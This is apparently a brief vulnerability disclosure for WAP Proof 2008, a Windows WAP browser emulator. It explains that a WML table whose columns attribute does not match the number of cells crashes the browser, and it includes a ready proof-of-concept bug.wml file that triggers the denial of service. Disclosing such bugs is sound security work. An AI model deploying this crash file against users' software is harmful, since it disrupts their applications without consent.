WAP Proof 2008 – Denial of Service
[] Description : WAP Proof is an universal emulator of a WAP browser for Microsoft Windows. It is designed for the preview and debugging of mobile websites and provide support for WML, XHTML, cHTML and HTML pages and a compatible GSM modems, such as Wavecom, Alcatel, Motorola, Nokia, Siemens, Sagem, Sony Ericsson .. etc. Vendor Homepage: http://www.wap-proof.com/ [] Technical details: The <td> and <tr> tags defines a table row or a standard cell in a HTML table alongwith the column="" attribute in the <table> element and any incorrect integer value for column attribute that not fitt for the enumeration of tags may usually cause to crash the browser. [] POC to /bug.wml: <?xml version="1.0" encoding="utf-8"?> <wml><card id="orion" title="einfold"> <p><table title="Tab" columns="1" align="LCR" class="AAA" id="AAA"> <tr><td>one</td><td>two</td><td>three</td></tr> </table></p></card></wml> <!-- Orion Einfold --> |